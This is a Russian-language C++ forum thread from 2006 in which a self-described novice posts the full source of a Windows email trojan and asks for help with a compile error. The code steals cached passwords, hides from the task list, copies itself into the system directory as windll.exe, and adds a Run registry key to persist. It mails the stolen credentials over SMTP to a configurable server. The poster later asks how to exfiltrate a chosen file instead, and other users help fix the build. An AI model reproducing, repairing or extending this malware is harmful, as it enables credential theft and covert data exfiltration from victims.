Модераторы: Daevaorn
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Отправка почты на Visual C++ ( ПОМОГИТЕ !!!), Сделел все как написано но выдает ОШИБКУ 
:(
    Опции темы
expert32
Дата 8.9.2006, 10:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 3
Регистрация: 8.9.2006

Репутация: нет
Всего: нет



Данная программа отсылает на мыло пароли, всякие файлы и т.д.

ПОМОГИТЕ!!!
При компиляции выскакивает следующие сообщение об ошибке:
StdAfx.cpp
c:\program files\microsoft visual studio\myprojects\3\stdafx.h(91) : error C2065: 'malloc' : undeclared identifier
Error executing cl.exe.

В ЧЕМ ПРОБЛЕМА РЕБЯТА ? ПОМОГИТЕ ПОЖАЙЛУСТА.

Цитата

#include <Setupapi.h>
#include <winsock.h>
#include <wininet.h>
#include "stdafx.h"
int sLimit=6;//сколько писем можно отправлять при каждом старте
int sent=0;//счётчик отправленых писем
unsigned int tim;

char BufStr0[1500]="";//сюда будем писать кеш. пароли
LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);

WSADATA wsadata;
SOCKADDR_IN sin;

SOCKET sock;
//ниже идут функции для получения кеш. паролей
struct PASSWORD_CACHE_ENTRY {
    WORD cbEntry; 
    WORD cbResource;
    WORD cbPassword;
    BYTE iEntry; 
    BYTE nType; 
    char abResource[1];
};

typedef BOOL (FAR PASCAL *CACHECALLBACK)( struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData );

DWORD APIENTRY WNetEnumCachedPasswords(LPSTR pbPrefix,WORD cbPrefix,BYTE nType,CACHECALLBACK pfnCallback,DWORD dwRefData);

typedef DWORD (WINAPI *ENUMPASSWORD)(LPSTR pbPrefix, WORD  cbPrefix, BYTE  nType, CACHECALLBACK pfnCallback, DWORD dwRefData);


ENUMPASSWORD pWNetEnumCachedPasswords;

typedef struct {
    char *pBuffer;
    int nBufLen;
    int nBufPos;
} PASSCACHECALLBACK_DATA;

BOOL PASCAL AddPass(struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData)
{
    char buff[1024];
    char buff2[1024];
    int nCount;

    PASSCACHECALLBACK_DATA *dat;
    dat = (PASSCACHECALLBACK_DATA *)dwRefData;

    nCount=pce->cbResource;
    if(nCount>1023) nCount=1023;
    memmove(buff, pce->abResource, nCount);
    buff[nCount] = 0;
    CharToOem(buff, buff2);
    if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;
    lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
    dat->nBufPos+=lstrlen(buff2)+1;

    nCount=pce->cbPassword;
    if(nCount>1023) nCount=1023;
    memmove(buff, pce->abResource+pce->cbResource, nCount);
    buff[nCount] = 0;
    CharToOem(buff, buff2);
    if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;
    lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
    dat->nBufPos+=lstrlen(buff2)+1;

    return TRUE;
}

void CachedPass()
{
   HMODULE hLib=LoadLibrary("MPR.DLL");

   PASSCACHECALLBACK_DATA dat;
   dat.pBuffer=(char *)malloc(65536);
   dat.nBufLen=65536;
   dat.nBufPos=0;
   pWNetEnumCachedPasswords = (ENUMPASSWORD)GetProcAddress(hLib, "WNetEnumCachedPasswords");

   pWNetEnumCachedPasswords(NULL, 0, 0xff, AddPass, (DWORD) &dat); 
   char *svStr;
   svStr=dat.pBuffer;
   strcpy(BufStr0,"");
   do {
      char *svRsc=svStr;
   svStr+=lstrlen(svStr)+1;
      char *svPwd=svStr;
   svStr+=lstrlen(svStr)+1;
   char svBuff[1024];
   wsprintf(svBuff, "%.256s : %.256s\x0D\x0A", svRsc, svPwd);
         strcat(BufStr0,svBuff);
   }while(*svStr!='\0');

   FreeLibrary(hLib); 

};
//проца для отправки репортов на мыло
int SendMail()
{       //здесь будут smtp сервер, обратный адрес(MAIL FROM) и адрес получателя(RCPT TO)
        //много \0 для того, чтобы в hex-editor'e можно было исправить параметры
        //(или можно написать конфигуратор для троя)
        //smtp север нужно отпинговать
    char Serv[1000]="HELO 127.0.0.1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    char From[1000]="MAIL FROM:<[email protected]>\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    char To[1000]="RCPT TO:<[email protected]>\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
        /*
        ниже следует имя smtp сервака, SMTP для того, чтобы его можно было легче найти
        в hex-editor'e...
        */
    char sServer1[256]="SMTP: 127.0.0.1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    char Text[1400]="Subject: :[ h@ckBOY's Mail Trojan Report ]:\x0A\x0A\x0D\x0A\x0D\x0A";
    char sServer[256]="";
        //убираем SMTP: из sServer1 и записываем всё это в sServer
    int c=0;
    for(int i=0;i<=256;i++)
   if(i>5){ sServer[c]=sServer1[i]; c++;};
        //получаем кэшированные пароли 
    CachedPass();
    strcat(Text,"Cached passwords:\x0D\x0A");
    strcat(Text,BufStr0);


    strcat(Text,"\x0D\x0A\x0D\x0A.\x0D\x0A");
     //формируем всю мессагу
    char *MailMess[] =
    {
  Serv,
  From,
  To,
  "DATA\x0D\x0A",
        Text,
  "QUIT\x0D\x0A",
  NULL
    };
    WSAStartup(0x0101,&wsadata);
    sock = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
    sin.sin_family=AF_INET;
    sin.sin_port=htons(25);
    sin.sin_addr.s_addr=inet_addr(sServer);
    if(connect(sock,(LPSOCKADDR)&sin,sizeof(sin)) == SOCKET_ERROR)
    {
  //MessageBox(NULL,"Error: can't connect to server smile","Error",MB_OK|MB_ICONERROR);
  closesocket(sock);
     WSACleanup();
  return 1;
    };

    int iLength = 0;
    int iEnd = 0;
    char sBuff[255] = "";
    int iMsg = 0;
 //пытаемся отправить мессагу
    while(MailMess[iMsg])
    {
  send(sock,MailMess[iMsg],lstrlen(MailMess[iMsg]),0);
  //MessageBox(NULL,MailMess[iMsg],"Send to server:",MB_OK|MB_ICONINFORMATION);
  iLength=recv(sock,sBuff,sizeof(sBuff),0);
  sBuff[iLength]='\0';
  //MessageBox(NULL,sBuff,"Answer from server:",MB_OK|MB_ICONWARNING);
  iMsg++;
    };
    closesocket(sock);
    WSACleanup();
    return 0;
};
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{ 
    //прячемся от Ctrl+Alt+Del
    typedef DWORD (WINAPI *REGSERVPROC)(DWORD, DWORD);
    HINSTANCE hLibrary;
    REGSERVPROC regprc;
    hLibrary = LoadLibrary("kernel32.dll");
    regprc = (REGSERVPROC) GetProcAddress(hLibrary, "RegisterServiceProcess");
    regprc (NULL,1);
    //копируем в windir\system\windll.exe
    LPSTR lpMe = new TCHAR[256];
    LPSTR WinDir1 = new TCHAR[256];
    GetSystemDirectory(WinDir1,256);
    GetModuleFileName(NULL,lpMe,200);
    strcat(WinDir1,"\\windll.exe");
    CopyFile(lpMe,WinDir1,FALSE);
        //создаем ключ в реестре
    char szValue [256] = "windll.exe";
    HKEY pKey;
    RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&pKey);
    RegSetValueEx(pKey,"windll",NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1);

    SendMail();//пытаемся отправить мессагу
    MSG msg;
    WNDCLASSEX wcex;

    wcex.cbSize = sizeof(WNDCLASSEX); 

    wcex.style    = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = (WNDPROC)WndProc;
    wcex.cbClsExtra  = 0;
    wcex.cbWndExtra  = 0;
    wcex.hInstance  = hInstance;
    wcex.hIcon  = NULL;
    wcex.hCursor  = NULL;
    wcex.hbrBackground    = NULL;
    wcex.lpszMenuName    = NULL;
    wcex.lpszClassName    = "explorer";
    wcex.hIconSm  = NULL;
    RegisterClassEx(&wcex);
    HWND hWnd;
    hWnd = CreateWindow("explorer", NULL, WS_POPUP,
  0, 0, 10,10, NULL, NULL, hInstance, NULL);
    //устанавливаем таймер(т.е. каждае 25000 м.сек. пробуем отправить мессагу)
    tim=SetTimer(hWnd,NULL,25000,NULL);
    while (GetMessage(&msg, NULL, 0, 0)) 
    {
  {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
  }
    }
    return 0;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
    switch(iMsg)
    {
    case WM_CLOSE:
  closesocket(sock);
     WSACleanup();
  PostQuitMessage(1);
  return 1;break;
    case WM_TIMER: 
                //пробуем отправить
  if(sent!=sLimit)
  {
    if(SendMail()==0) sent++;
  } else
  {
    KillTimer(hWnd,tim);
  };
  break;
    };
    return DefWindowProc(hWnd, iMsg, wParam, lParam);
};



В чем тут проблема ??? 

PM MAIL   Вверх
expert32
Дата 8.9.2006, 15:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 3
Регистрация: 8.9.2006

Репутация: нет
Всего: нет



В чем тут проблема ? Помогите ребята.
PM MAIL   Вверх
likehood
Дата 8.9.2006, 16:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


666
**


Профиль
Группа: Участник
Сообщений: 536
Регистрация: 21.12.2005

Репутация: 8
Всего: 24



Судя по сообщению компилятора, не подключен файл <alloc.h>
PM MAIL   Вверх
ptr
Дата 8.9.2006, 17:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 661
Регистрация: 31.5.2006
Где: Новосибирск

Репутация: 1
Всего: 14



Попробуй сделать так:
Код

#include "stdafx.h"
#include <Setupapi.h>
#include <winsock.h>
#include <wininet.h>


Кстати, expert32, а зачем тебе malloc?

Это сообщение отредактировал(а) ptr - 8.9.2006, 17:13


--------------------
Единственный способ определить границы возможного - это выйти за эти границы, в невозможное.
Артур Кларк.
PM MAIL ICQ   Вверх
expert32
Дата 8.9.2006, 18:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 3
Регистрация: 8.9.2006

Репутация: нет
Всего: нет



Незнаю smile Я в С++ ни бум бум. Вот на форуме нашел этот исходник, а он оказываеться с ошибкой smile

Добавлено @ 18:29 
Перепробовал все, не помогает.

Добавлено @ 18:37 
Ребята, да ну его этот malloc. 
Подскажите как вместо этих паролей которые этот исходник высылает на мыло, установить функцию которая бы отправляла файл test.txt с диска С:
Ненужны мне эти парли, мне нужно чтобы этот исходник отправил указанный мною файл из указанного места на диске на e-mail
Очень прошу, помогите.

Цитата

//ниже идут функции для получения кеш. паролей
struct PASSWORD_CACHE_ENTRY {
    WORD cbEntry; 
    WORD cbResource;
    WORD cbPassword;
    BYTE iEntry; 
    BYTE nType; 
    char abResource[1];
};

typedef BOOL (FAR PASCAL *CACHECALLBACK)( struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData );

DWORD APIENTRY WNetEnumCachedPasswords(LPSTR pbPrefix,WORD cbPrefix,BYTE nType,CACHECALLBACK pfnCallback,DWORD dwRefData);

typedef DWORD (WINAPI *ENUMPASSWORD)(LPSTR pbPrefix, WORD  cbPrefix, BYTE  nType, CACHECALLBACK pfnCallback, DWORD dwRefData);


ENUMPASSWORD pWNetEnumCachedPasswords;

typedef struct {
    char *pBuffer;
    int nBufLen;
    int nBufPos;
} PASSCACHECALLBACK_DATA;

BOOL PASCAL AddPass(struct PASSWORD_CACHE_ENTRY FAR *pce, DWORD dwRefData)
{
    char buff[1024];
    char buff2[1024];
    int nCount;

    PASSCACHECALLBACK_DATA *dat;
    dat = (PASSCACHECALLBACK_DATA *)dwRefData;

    nCount=pce->cbResource;
    if(nCount>1023) nCount=1023;
    memmove(buff, pce->abResource, nCount);
    buff[nCount] = 0;
    CharToOem(buff, buff2);
    if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;
    lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
    dat->nBufPos+=lstrlen(buff2)+1;

    nCount=pce->cbPassword;
    if(nCount>1023) nCount=1023;
    memmove(buff, pce->abResource+pce->cbResource, nCount);
    buff[nCount] = 0;
    CharToOem(buff, buff2);
    if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;
    lstrcpy(dat->pBuffer+dat->nBufPos,buff2);
    dat->nBufPos+=lstrlen(buff2)+1;

    return TRUE;
}

void CachedPass()
{
   HMODULE hLib=LoadLibrary("MPR.DLL");

   PASSCACHECALLBACK_DATA dat;
   dat.pBuffer=(char *)malloc(65536);
   dat.nBufLen=65536;
   dat.nBufPos=0;
   pWNetEnumCachedPasswords = (ENUMPASSWORD)GetProcAddress(hLib, "WNetEnumCachedPasswords");

   pWNetEnumCachedPasswords(NULL, 0, 0xff, AddPass, (DWORD) &dat); 
   char *svStr;
   svStr=dat.pBuffer;
   strcpy(BufStr0,"");
   do {
      char *svRsc=svStr;
   svStr+=lstrlen(svStr)+1;
      char *svPwd=svStr;
   svStr+=lstrlen(svStr)+1;
   char svBuff[1024];
   wsprintf(svBuff, "%.256s : %.256s\x0D\x0A", svRsc, svPwd);
         strcat(BufStr0,svBuff);
   }while(*svStr!='\0');

   FreeLibrary(hLib); 

};


PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "С++:Общие вопросы"
Earnest Daevaorn

Добро пожаловать!

  • Черновик стандарта C++ (за октябрь 2005) можно скачать с этого сайта. Прямая ссылка на файл черновика(4.4мб).
  • Черновик стандарта C (за сентябрь 2005) можно скачать с этого сайта. Прямая ссылка на файл черновика (3.4мб).
  • Прежде чем задать вопрос, прочтите это и/или это!
  • Здесь хранится весь мировой запас ссылок на документы, связанные с C++ :)
  • Не брезгуйте пользоваться тегами [code=cpp][/code].
  • Пожалуйста, не просите написать за вас программы в этом разделе - для этого существует "Центр Помощи".
  • C++ FAQ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Earnest Daevaorn

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0901 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.